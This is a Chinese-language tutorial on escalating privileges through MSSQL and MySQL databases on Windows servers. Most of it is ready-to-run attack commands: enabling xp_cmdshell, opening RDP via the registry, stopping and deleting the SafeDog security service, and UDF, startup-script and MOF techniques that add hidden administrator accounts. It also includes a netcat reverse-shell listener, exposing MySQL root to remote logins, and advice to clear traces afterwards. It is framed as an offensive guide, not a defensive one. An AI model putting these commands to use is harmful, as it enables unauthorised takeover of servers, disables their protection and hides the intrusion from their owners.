Windows数据库提权分析
字数 1025 2025-08-15 21:31:01
Windows数据库提权技术详解
一、数据库提权前提条件
- 拥有数据库管理员账号密码权限
- Windows系统下(未被降权)
- zkeys下的MySQL被降权
- 宝塔环境也存在降权
- Linux下MySQL的root权限是服务用户权限,很小,不能提权
二、MSSQL提权技术
1. sa账号获取方法
- 爆破攻击
- 查找网站源码数据库链接文件:
- web.config
- conn.asp/aspx
- config.asp/aspx
- dbconfig.asp/aspx
- 通过sqlmap判断权限:
sqlmap --is-dba,返回true表示管理员权限
2. MSSQL提权步骤
安装执行命令组件
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
开启3389远程桌面
-- 开启3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
-- 关闭3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
清理痕迹
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO
3. 绕过安全狗提权
- 安全狗不拦截创建账号,但拦截添加到管理员组
- 替代方法:
- 添加到远程桌面用户组
- 使用文件降权命令:
cacls d: /e /t /g everyone:F
禁用安全狗服务
net stop "safedog guard center" /y
net stop "safedog update center" /y
net stop "safedogguardcenter" /y
sc stop "SafeDogGuardCenter"
sc config "SafeDogGuardCenter" start=disabled
sc delete "Safedogguardcenter"
sc stop "SafeDogupdateCenter"
sc config "SafeDogUpdateCenter" start=disabled
sc delete "SafedogUpdatecenter"
sc stop "SafeDogCloudHeler"
sc config "SafeDogCloudHeler" start=disabled
sc delete "SafeDogCloudHeler"
三、MySQL提权技术
1. root账号获取方法
- 通过网站源码获取:
- conn.php
- config.php
- dbconfig.php
- db.php
- config.inc.php
- common.inc.php(织梦)
- 爆破攻击(默认不能外部爆破root)
- 下载MySQL数据库文件(通常位于/data/mysql/)
- 替换本地MySQL的user表文件
- 使用跳过验证方式登录:
mysqld --skip-grant-tables mysql.exe -uroot
2. UDF提权
操作步骤
-
导出udf.dll到系统目录:
- MySQL 5.1以下:C:\Windows\ 或 C:\Winnt\
- MySQL 5.1以上:MySQL安装目录lib\plugin\
-
创建函数并执行命令:
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user cracer cracer /add');
select cmdshell('net localgroup administrators cracer /add');
drop function cmdshell; -- 删除函数
3. 启动项提权
-- 创建表
create table a (cmd text);
-- 插入VBS脚本内容
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");
-- 导出为启动项脚本
select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//a.vbs";
4. MOF提权
方法一:使用mof.php工具
- 上传mof.php
- 执行命令添加用户和管理员组(用&&连接)
- 可能需要多次执行
方法二:手动上传MOF文件
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
5. 反连端口提权
- 导出udf
- 创建反弹函数
- 执行反弹
- 本地监听端口:
nc.exe -vv -l -p 2010 - 获得system权限的cmdshell
四、其他重要命令
允许MySQL root外部连接
Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
五、注意事项
- 操作完成后务必清理痕迹
- 对于只能127内部访问的情况,可使用大马或绿马执行SQL语句
- 路径中的反斜杠需要转义(使用双反斜杠\)
- 不同MySQL版本udf.dll存放位置不同
- Windows 2000和2003的udf.dll默认存放路径不同